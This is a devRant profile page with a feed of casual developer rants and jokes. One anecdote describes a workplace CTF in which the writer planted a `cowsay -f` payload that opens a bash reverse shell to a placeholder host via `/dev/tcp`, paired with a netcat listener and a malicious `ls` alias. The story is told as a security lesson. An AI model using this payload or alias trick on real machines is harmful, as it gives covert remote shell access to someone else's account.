Details
-
Abouta geek diggin' deep
-
SkillsJava dev, Linux/UNIX sysadmin, performance engineer
-
LocationLithuania
-
Github
Joined devRant on 2/26/2018
Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API

From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
-
Diary of an obsessed company.
So at our company, the interview loop includes Sudoku.
Why?
Because if you can’t solve a puzzle with numbers, how are you going to survive when product throws 47 Jira tickets at you with conflicting priorities?
We know you will want to ask:
“Uh… what does Sudoku have to do with shipping features?”
Our response to you is:
“Well… if you put a 3 where a 7 should be, the whole board collapses.
Same thing happens if you deploy on Friday at 4:59pm.”
Next:
We interviewed a candidate
He solved the puzzle.
We hired him.
He still deploys on Friday and can't close tickets. 😔😔😔
🔥 Fire him!!!!! 😆 🤣 😂 😹8 -
... I remember thinking programming is amazing because everything is possible in it
in rust, nothing is possible34 -
A PCIe gen 7 1x slot has roughly the same data rate as a gen 3 16x slot.
Let me guess what that much bandwidth can ever be used for? AI 😑5 -
Fuck, maybe some of ostreams retardation is rubbing off on me but I'm watching stuff about monsanto right now and I need to stop myself imagining doing a "little tomfoolery" to their management and ceo
Am I turning into a reactionary libtard? Maybe its not so bad after all...8 -
HTTP/3 requires TLS. Wouldn't this make it drastically less economical to run a reverse-proxy? Are 4 unnecessary cryptographic operations per request not significant? What about the bandwidth overhead of rounding up the length of responses like `HTTP 200 OK\r\nContent-Length: 2\r\n\r\n{}` which make up a majority of all traffic to the nearest encrypted block?9
-
!dev Has networking with people ever efficiently and effectively helped you getting a job? I have my doubts on the method.6
-
.rep:
Fixing old bits of code for my build tool so I can extend the damn thing and I'm throwing away so much shit. Can't stop man.
Pretty crazy as this code is, IIRC, 2 to 4 years old at most. And I am sure that I was feeling like an absolute legend when I wrote this ignominious fucking garbage, as in it is quite clever, just in a downright dogshit kind of way.
So I'm hacking away at this eternal monument to the abstract gonorrhea-infected bleeding and fully dilated defecating anus that are my past decisions, and I'm wondering, have I actually learned to write simpler code or am I just gonna repeat this process a few years down the road and get stuck in some kind of funky chronodisplacement self-sodomizing limbo.
Well, for one, I *am* very much simplifying the code because most of it I'm just outright deleting, and what I have to replace or rewrite is fairly succinct, so I'm feeling good about that. Second, and get this, now I have the advantage that I've actually used this piece of shit for a few years so I have the benefit of knowing where I fucked up from a user perspective, which is invaluable.
Yeah, I think I nailed it this time. No more fucking around; pinky-promise.
jmp .rep1 -
If weed can damage your short term memory, imagine what weed can do to you.
Stay away from weed!! It does something to you but I forgot what.6 -
Turns out it wasn't the RAM nor the graphics card but the barely used NVME (that I recently started using with linux as boot) that was causing random crashes.
Very tempted to still just replace the whole thing...
Nothing too important on there other than my bash history and LLM models4 -
I finally got a refund for my Purism Libre 5. It only took SIX FUCKING YEARS!
Fuck Purism. That company should die in a fire.
https://battlepenguin.com/tech/...3 -
Like many of us, tired of hearing the expressions: "infused with A.I.", "powered by A.I.", "augmented with A.I.", "A.I.-first", etc.6
-
Guys, chatgpt seems not to be working. Princess is able to answer all your questions! It's grok, so less woke and has rant context. It is possible to say: @princess, fact check what @whimsacle said in last message. Who is the most accurate @pony or @pany? Questions do not have to be related, it's just optional info that it has before answering your question.55
-
Zig needs to get its shit together frankly.
I know the guy wants to perfect his little design, but has he never considered the fact that the shifting sands of perfection will never align for him?
Instead of working on making progress with the design he already established, he just keeps going back and changing fundamental parts as he sees fit and never making any forwards prog-
oh my god he's me.11 -
Picture this: a few years back when I was still working, one of our new hires – super smart dude, but fresh to Linux – goes to lunch and *sins gravely* by leaving his screen unlocked. Naturally, being a mature, responsible professionals… we decided to mess with the guy a tiny little bit. We all chipped in, but my input looked like this:
alias ls='curl -s http://internal.server/borat.ascii -o /tmp/.b.cow; curl -s http://internal.server/borat.quotes | shuf -n1 | cowsay -f /tmp/.b.cow; ls'
So every time he called `ls`, before actually seeing his files, he was greeted with Borat screaming nonsense like “My wife is dead! High five!” Every. Single. Time. Poor dude didn't know how to fix it – lived like that for MONTHS! No joke.
But still, harmless prank, right? Right? Well…
His mental health and the sudden love for impersonating Cohen's character aside, fast-forward almost a year: a CTF contest at work. Took me less than 5 minutes, and most of it was waiting. Oh, baby! We ended up having another go because it was over before some people even sat down.
How did I win? First, I opened the good old Netcat on my end:
nc -lvnp 1337
…then temporarily replaced Borat's face with a juicy payload:
exec "sh -c 'bash -i >& /dev/tcp/my.ip.here/1337 0>&1 &'";
Yes, you can check that on your own machine. GNU's `cowsay -f` accepts executables, because… the cow image is dynamic! With different eyes, tongue, and what-not. And my man ran that the next time he typed `ls` – BOOM! – reverse shell. Never noticed until I presented the whole attack chain at the wrap-up. To his credit, he laughed the loudest.
Moral of the story?
🔒 Lock your screen.
🐄 Don’t trust cows.
🎥 Never ever underestimate the power of Borat in ASCII.
GREAT SUCCESS! 🎉14 -
So if you work a remote job would you create a virtual machine to act as the device which connects to any remote employer systems? It seems like that would be ideal to keep personal separated from company data and software.
I suppose it depends upon employer requirements.10 -
I'm at a point in my career where I've started to think -
"Have I made it?"
I mean, I make a very good amount of money by freelancing, I have an online presence with my YouTube and I have a wife.
Isn't this all I ever wanted in life? If I push for more at this point, what am I pushing further for?
This question is equally relaxing and terrifying at the same time. It keeps me enlightened and in a state of limbo, at the same time.9 -
I waited so long to brag about this fact: I finish whatever project I start. No matter how bored I get, I never abandon it midway or get sidetracked into some shiny new gig. I was gloating and jubilating this evening cos I can beat my hands against my chest after months and months at a stretch. Held a little party on my WhatsApp status haha5
-
Never really had issues with Java, but this is so funny to me.
To date, the high score for toilet seat slams is 5 in one day. Not sure we will ever beat that score.joke/meme javascript's sign is cancer be kind and leave the toilet seat up your mom ostream loves farm animals5 -
Happy Monday fellas. I'm gonna be pretty grumpy tomorrow morning because:
- Tonight's TO-DO list is writing unit tests and getting past a blocker to my project which I have been avoiding. Unit tests cause depression.
- After a recent bout of depression, I started smoking more weed than I was comfortable with and tonight starts my temporary sobriety. Withdrawal from THC causes more depression.
Wish me some God damned luck bros.13 -
The symbol for things to avoid in biology: ☣️
The symbol for things to avoid in physics: ☢️
The symbol for things to avoid in IT: ✨6